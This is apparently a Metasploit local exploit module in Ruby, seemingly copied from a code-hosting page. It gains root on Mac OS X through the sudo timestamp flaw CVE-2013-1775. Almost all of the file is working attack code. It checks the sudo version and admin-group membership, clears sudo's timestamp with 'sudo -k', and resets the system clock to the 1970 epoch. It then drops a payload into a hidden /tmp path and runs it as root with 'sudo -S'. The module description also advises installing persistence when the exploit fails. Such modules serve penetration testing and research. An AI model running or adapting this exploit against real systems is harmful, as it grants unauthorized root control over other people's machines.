263 lines
8.7 KiB
Ruby
263 lines
8.7 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'rex'
|
|
require 'msf/core/exploit/exe'
|
|
require 'shellwords'
|
|
|
|
class MetasploitModule < Msf::Exploit::Local
|
|
|
|
# ManualRanking because it's going to modify system time
|
|
# Even when it will try to restore things, user should use
|
|
# it at his own risk
|
|
Rank = NormalRanking
|
|
|
|
include Msf::Post::File
|
|
include Msf::Exploit::EXE
|
|
include Msf::Exploit::FileDropper
|
|
|
|
SYSTEMSETUP_PATH = "/usr/sbin/systemsetup"
|
|
SUDOER_GROUP = "admin"
|
|
VULNERABLE_VERSION_RANGES = [['1.6.0', '1.7.10p6'], ['1.8.0', '1.8.6p6']]
|
|
CMD_TIMEOUT = 45
|
|
|
|
# saved clock config
|
|
attr_accessor :clock_changed, :date, :network_server, :networked, :time, :zone
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => 'Mac OS X Sudo Password Bypass',
|
|
'Description' => %q{
|
|
This module gains a session with root permissions on versions of OS X with
|
|
sudo binary vulnerable to CVE-2013-1775. Tested working on Mac OS 10.7-10.8.4,
|
|
and possibly lower versions.
|
|
|
|
If your session belongs to a user with Administrative Privileges
|
|
(the user is in the sudoers file and is in the "admin group"), and the
|
|
user has ever run the "sudo" command, it is possible to become the super
|
|
user by running `sudo -k` and then resetting the system clock to 01-01-1970.
|
|
|
|
This module will fail silently if the user is not an admin, if the user has never
|
|
run the sudo command, or if the admin has locked the Date/Time preferences.
|
|
|
|
Note: If the user has locked the Date/Time preferences, requests to overwrite
|
|
the system clock will be ignored, and the module will silently fail. However,
|
|
if the "Require an administrator password to access locked preferences" setting
|
|
is not enabled, the Date/Time preferences are often unlocked everytime the admin
|
|
logs in, so you can install persistence and wait for a chance later.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Todd C. Miller', # Vulnerability discovery
|
|
'joev', # Metasploit module
|
|
'juan vazquez' # testing/fixing module bugs
|
|
],
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2013-1775' ],
|
|
[ 'BID', '58203' ],
|
|
[ 'URL', 'http://www.sudo.ws/sudo/alerts/epoch_ticket.html' ]
|
|
],
|
|
'Platform' => 'osx',
|
|
'Arch' => [ ARCH_X86, ARCH_X86_64, ARCH_CMD ],
|
|
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
|
'Targets' => [
|
|
[ 'Mac OS X x86 (Native Payload)',
|
|
{
|
|
'Platform' => 'osx',
|
|
'Arch' => ARCH_X86
|
|
}
|
|
],
|
|
[ 'Mac OS X x64 (Native Payload)',
|
|
{
|
|
'Platform' => 'osx',
|
|
'Arch' => ARCH_X86_64
|
|
}
|
|
],
|
|
[ 'CMD',
|
|
{
|
|
'Platform' => 'unix',
|
|
'Arch' => ARCH_CMD
|
|
}
|
|
]
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => 'Feb 28 2013'
|
|
))
|
|
register_advanced_options([
|
|
OptString.new('TMP_FILE',
|
|
[true,'For the native targets, specifies the path that '+
|
|
'the executable will be dropped on the client machine.',
|
|
'/tmp/.<random>/<random>']
|
|
),
|
|
], self.class)
|
|
end
|
|
|
|
# ensure target is vulnerable by checking sudo vn and checking
|
|
# user is in admin group.
|
|
def check
|
|
if cmd_exec("sudo -V") =~ /version\s+([^\s]*)\s*$/
|
|
sudo_vn = $1
|
|
sudo_vn_parts = sudo_vn.split(/[\.p]/).map(&:to_i)
|
|
# check vn between 1.6.0 through 1.7.10p6
|
|
# and 1.8.0 through 1.8.6p6
|
|
if not vn_bt(sudo_vn, VULNERABLE_VERSION_RANGES)
|
|
vprint_error "sudo version #{sudo_vn} not vulnerable."
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
else
|
|
vprint_error "sudo not detected on the system."
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
|
|
if not user_in_admin_group?
|
|
vprint_error "sudo version is vulnerable, but user is not in the admin group (necessary to change the date)."
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
# one root for you sir
|
|
return Exploit::CheckCode::Vulnerable
|
|
end
|
|
|
|
def exploit
|
|
if not user_in_admin_group?
|
|
fail_with(Failure::NotFound, "User is not in the 'admin' group, bailing.")
|
|
end
|
|
# "remember" the current system time/date/network/zone
|
|
print_good("User is an admin, continuing...")
|
|
|
|
print_status("Saving system clock config...")
|
|
@time = cmd_exec("#{SYSTEMSETUP_PATH} -gettime").match(/^time: (.*)$/i)[1]
|
|
@date = cmd_exec("#{SYSTEMSETUP_PATH} -getdate").match(/^date: (.*)$/i)[1]
|
|
@networked = cmd_exec("#{SYSTEMSETUP_PATH} -getusingnetworktime") =~ (/On$/)
|
|
@zone = cmd_exec("#{SYSTEMSETUP_PATH} -gettimezone").match(/^time zone: (.*)$/i)[1]
|
|
@network_server = if @networked
|
|
cmd_exec("#{SYSTEMSETUP_PATH} -getnetworktimeserver").match(/time server: (.*)$/i)[1]
|
|
end
|
|
|
|
run_sudo_cmd
|
|
end
|
|
|
|
def cleanup
|
|
if @clock_changed
|
|
print_status("Resetting system clock to original values") if @time
|
|
cmd_exec("#{SYSTEMSETUP_PATH} -settimezone #{[@zone].shelljoin}") unless @zone.nil?
|
|
cmd_exec("#{SYSTEMSETUP_PATH} -setdate #{[@date].shelljoin}") unless @date.nil?
|
|
cmd_exec("#{SYSTEMSETUP_PATH} -settime #{[@time].shelljoin}") unless @time.nil?
|
|
if @networked
|
|
cmd_exec("#{SYSTEMSETUP_PATH} -setusingnetworktime On")
|
|
unless @network_server.nil?
|
|
cmd_exec("#{SYSTEMSETUP_PATH} -setnetworktimeserver #{[@network_server].shelljoin}")
|
|
end
|
|
end
|
|
print_good("Completed clock reset.")
|
|
else
|
|
print_status "Skipping cleanup since the clock was never changed"
|
|
end
|
|
|
|
super
|
|
end
|
|
|
|
private
|
|
|
|
def run_sudo_cmd
|
|
print_status("Resetting user's time stamp file and setting clock to the epoch")
|
|
cmd_exec(
|
|
"sudo -k; \n"+
|
|
"#{SYSTEMSETUP_PATH} -setusingnetworktime Off -settimezone GMT"+
|
|
" -setdate 01:01:1970 -settime 00:00"
|
|
)
|
|
if not cmd_exec("#{SYSTEMSETUP_PATH} -getdate").match("1/1/1970")
|
|
fail_with(Failure::NoAccess, "Date and time preference pane appears to be locked. By default, this pane is unlocked upon login.")
|
|
else
|
|
@clock_changed = true
|
|
end
|
|
|
|
# drop the payload (unless CMD)
|
|
if using_native_target?
|
|
cmd_exec("mkdir -p #{File.dirname(drop_path)}")
|
|
write_file(drop_path, generate_payload_exe)
|
|
register_files_for_cleanup(drop_path)
|
|
cmd_exec("chmod +x #{[drop_path].shelljoin}")
|
|
print_status("Payload dropped and registered for cleanup")
|
|
end
|
|
|
|
# Run Test
|
|
test = rand_text_alpha(4 + rand(4))
|
|
sudo_cmd_test = ['sudo', '-S', ["echo #{test}"].shelljoin].join(' ')
|
|
|
|
print_status("Testing that user has sudoed before...")
|
|
output = cmd_exec('echo "" | ' + sudo_cmd_test)
|
|
|
|
if output =~ /incorrect password attempts\s*$/i
|
|
fail_with(Failure::NotFound, "User has never run sudo, and is therefore not vulnerable. Bailing.")
|
|
elsif output =~ /#{test}/
|
|
print_good("Test executed succesfully. Running payload.")
|
|
else
|
|
print_error("Unknown fail while testing, trying to execute the payload anyway...")
|
|
end
|
|
|
|
# Run Payload
|
|
sudo_cmd_raw = if using_native_target?
|
|
['sudo', '-S', [drop_path].shelljoin].join(' ')
|
|
elsif using_cmd_target?
|
|
['sudo', '-S', '/bin/sh', '-c', [payload.encoded].shelljoin].join(' ')
|
|
end
|
|
|
|
## to prevent the password prompt from destroying session
|
|
## backgrounding the sudo payload in order to keep both sessions usable
|
|
sudo_cmd = 'echo "" | ' + sudo_cmd_raw + ' & true'
|
|
|
|
print_status "Running command: "
|
|
print_line sudo_cmd
|
|
output = cmd_exec(sudo_cmd)
|
|
|
|
end
|
|
|
|
# default cmd_exec timeout to CMD_TIMEOUT constant
|
|
def cmd_exec(cmd, args=nil, timeout=CMD_TIMEOUT)
|
|
super
|
|
end
|
|
|
|
# helper methods for accessing datastore
|
|
def using_native_target?
|
|
target.name =~ /native/i
|
|
end
|
|
|
|
def using_cmd_target?
|
|
target.name =~ /cmd/i
|
|
end
|
|
|
|
def drop_path
|
|
@_drop_path ||= datastore['TMP_FILE'].gsub('<random>') { Rex::Text.rand_text_alpha(10) }
|
|
end
|
|
|
|
# checks that the user is in OSX's admin group, necessary to change sys clock
|
|
def user_in_admin_group?
|
|
cmd_exec("groups `whoami`").split(/\s+/).include?(SUDOER_GROUP)
|
|
end
|
|
|
|
# helper methods for dealing with sudo's vn num
|
|
def parse_vn(vn_str)
|
|
vn_str.split(/[\.p]/).map(&:to_i)
|
|
end
|
|
|
|
def vn_bt(vn, ranges) # e.g. ('1.7.1', [['1.7.0', '1.7.6p44']])
|
|
vn_parts = parse_vn(vn)
|
|
ranges.any? do |range|
|
|
min_parts = parse_vn(range[0])
|
|
max_parts = parse_vn(range[1])
|
|
vn_parts.all? do |part|
|
|
min = min_parts.shift
|
|
max = max_parts.shift
|
|
(min.nil? or (not part.nil? and part >= min)) and
|
|
(part.nil? or (not max.nil? and part <= max))
|
|
end
|
|
end
|
|
end
|
|
|
|
end
|